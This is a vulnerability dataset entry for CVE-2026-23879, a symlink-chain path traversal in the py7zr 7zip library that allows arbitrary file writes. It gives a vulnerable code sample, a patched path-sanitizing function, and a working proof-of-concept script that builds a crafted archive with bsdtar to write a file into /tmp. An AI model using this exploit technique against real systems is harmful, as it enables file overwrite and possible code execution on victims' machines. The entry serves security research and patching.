CVE-2026-23879
py7zr allows arbitrary file write via a crafted symbolic link in an archive.
- CVSS 8.0
- CWE-59
- Input Validation and Sanitization
- Local
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.
- CWE
- CWE-59
- CVSS base score
- 8.0
- Published
- 2026-06-24
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- py7zr
- Fixed by upgrading
- Yes
Solution
Upgrade py7zr to version 1.1.3 or later.
Vulnerable code sample
import py7zr
import os
import shutil
# NOTE: This code requires a vulnerable version of py7zr (e.g., 1.1.2 or below).
# It will create files on your system to demonstrate the vulnerability.
# 1. Set up the necessary directories and files for the malicious archive
source_dir = "malicious_source"
archive_name = "malicious_archive.7z"
extraction_dir = "target_dir"
payload_content = "This file was written outside the target directory."
payload_filename = "pwned.txt"
symlink_name = "breakout_link"
# Ensure a clean state
if os.path.exists(source_dir): shutil.rmtree(source_dir)
if os.path.exists(extraction_dir): shutil.rmtree(extraction_dir)
if os.path.exists(archive_name): os.remove(archive_name)
if os.path.exists(payload_filename): os.remove(payload_filename)
# Create the source directory for archiving
os.makedirs(source_dir)
# Create a symlink that points to the parent directory.
# When this is extracted into `extraction_dir`, it will point to the current working directory.
os.symlink("..", os.path.join(source_dir, symlink_name))
# Create a temporary payload file to include in the archive
with open("temp_payload.txt", "w") as f:
f.write(payload_content)
# 2. Create the crafted malicious 7-Zip archive
with py7zr.SevenZipFile(archive_name, 'w') as archive:
# Add the symlink itself to the archive
archive.write(os.path.join(source_dir, symlink_name), arcname=symlink_name)
# Add the payload, but set its path inside the archive to use the symlink
archive.write("temp_payload.txt", arcname=os.path.join(symlink_name, payload_filename))
# 3. Perform the vulnerable extraction
os.makedirs(extraction_dir)
with py7zr.SevenZipFile(archive_name, 'r') as archive:
# On a vulnerable version, this extractall call will follow the symlink
# and write `pwned.txt` outside of `extraction_dir`.
archive.extractall(path=extraction_dir)
# 4. Clean up temporary artifacts from the creation process
os.remove("temp_payload.txt")
shutil.rmtree(source_dir)
# At this point, `pwned.txt` will exist in the current directory,
# outside the intended `target_dir`, demonstrating the vulnerability.
# The `malicious_archive.7z` and `target_dir` also remain.Patched code sample
import os
def _get_sanitized_path(dest_dir, filename):
"""
Represents the logic that fixes the path traversal vulnerability.
It resolves the real path of the intended extraction location and verifies
that this path is still within the boundaries of the destination directory.
This prevents malicious archives from using symbolic links or '..' path
components to write files outside the intended extraction folder.
"""
# Create the potential full path for the file to be extracted.
fpath = os.path.join(dest_dir, filename)
# Resolve the fpath to its absolute, canonical path. This process will
# correctly resolve any symbolic links or ".." components.
resolved_path = os.path.realpath(fpath)
# Get the absolute, canonical path of the destination directory.
resolved_dest = os.path.realpath(dest_dir)
# Check if the common path of the resolved destination and the resolved
# file path is the destination directory itself. If it's not, the file
# is attempting to write outside the destination, and it is a traversal attempt.
if os.path.commonpath([resolved_dest, resolved_path]) != resolved_dest:
raise ValueError(f"Path traversal attempt blocked for '{filename}'")
return resolved_pathPayload
import os
import shutil
import subprocess
import py7zr
import sys
# --- Configuration ---
BUILD_DIR = "poc_build"
ARCHIVE_NAME = "malicious_cve_2026_23879.7z"
EXTRACT_DIR = "poc_extract"
PAYLOAD_FILENAME = "pwned.txt"
PAYLOAD_CONTENT = b"This file was written outside the target directory."
SYMLINK_CHAIN_A = "link_a"
SYMLINK_CHAIN_B = "link_b"
TRAVERSAL_PATH = "../../../../../../../../tmp"
REMOTE_FILE_PATH = f"{SYMLINK_CHAIN_A}/{PAYLOAD_FILENAME}"
FINAL_PAYLOAD_LOCATION = f"/tmp/{PAYLOAD_FILENAME}"
def cleanup():
"""Removes all artifacts created by the script."""
if os.path.lexists(FINAL_PAYLOAD_LOCATION):
os.remove(FINAL_PAYLOAD_LOCATION)
if os.path.exists(ARCHIVE_NAME):
os.remove(ARCHIVE_NAME)
if os.path.isdir(BUILD_DIR):
shutil.rmtree(BUILD_DIR)
if os.path.isdir(EXTRACT_DIR):
shutil.rmtree(EXTRACT_DIR)
# Ensure a clean state before starting
cleanup()
try:
# 1. Create the necessary file/link structure for building the archive
os.makedirs(BUILD_DIR, exist_ok=True)
# Create the symbolic link chain on the filesystem
os.symlink(SYMLINK_CHAIN_B, os.path.join(BUILD_DIR, SYMLINK_CHAIN_A))
os.symlink(TRAVERSAL_PATH, os.path.join(BUILD_DIR, SYMLINK_CHAIN_B))
# Create a source file for the payload content
with open(os.path.join(BUILD_DIR, "payload_source.txt"), "wb") as f:
f.write(PAYLOAD_CONTENT)
# 2. Use 'bsdtar' to create a crafted 7zip archive.
# 'py7zr' itself may not be able to create this malicious structure.
# This command creates an archive containing:
# a) The symlink chain (link_a -> link_b -> ../.../tmp)
# b) A new file entry whose path uses the symlink ('link_a/pwned.txt'),
# but whose content is sourced from a local temporary file.
cmd = [
"bsdtar",
"-C", BUILD_DIR,
"-s", f"|{REMOTE_FILE_PATH}|payload_source.txt|",
"--format", "7zip",
"-cf", ARCHIVE_NAME,
SYMLINK_CHAIN_A,
SYMLINK_CHAIN_B,
"@payload_source.txt"
]
proc = subprocess.run(cmd, check=False, capture_output=True, text=True)
if proc.returncode != 0:
sys.stderr.write(f"Error: Failed to create archive with 'bsdtar'. Is it installed and in your PATH?\n")
sys.stderr.write(f"bsdtar stderr: {proc.stderr}\n")
sys.exit(1)
# 3. Simulate a victim extracting the malicious archive
os.makedirs(EXTRACT_DIR, exist_ok=True)
with py7zr.SevenZipFile(ARCHIVE_NAME, 'r') as archive:
# The vulnerable 'extractall' will follow the symlinks out of the destination
archive.extractall(path=EXTRACT_DIR)
# 4. Verify if the arbitrary file write was successful
if os.path.exists(FINAL_PAYLOAD_LOCATION):
print(f"SUCCESS: Exploit successful. Payload written to: {FINAL_PAYLOAD_LOCATION}")
with open(FINAL_PAYLOAD_LOCATION, 'r') as f:
print(f"File content: '{f.read()}'")
else:
print(f"FAILURE: Exploit failed. File not found at {FINAL_PAYLOAD_LOCATION}.")
finally:
# 5. Clean up all created artifacts
cleanup()
Cite this entry
@misc{vaitp:cve202623879,
title = {{py7zr allows arbitrary file write via a crafted symbolic link in an archive.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-23879},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-23879/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
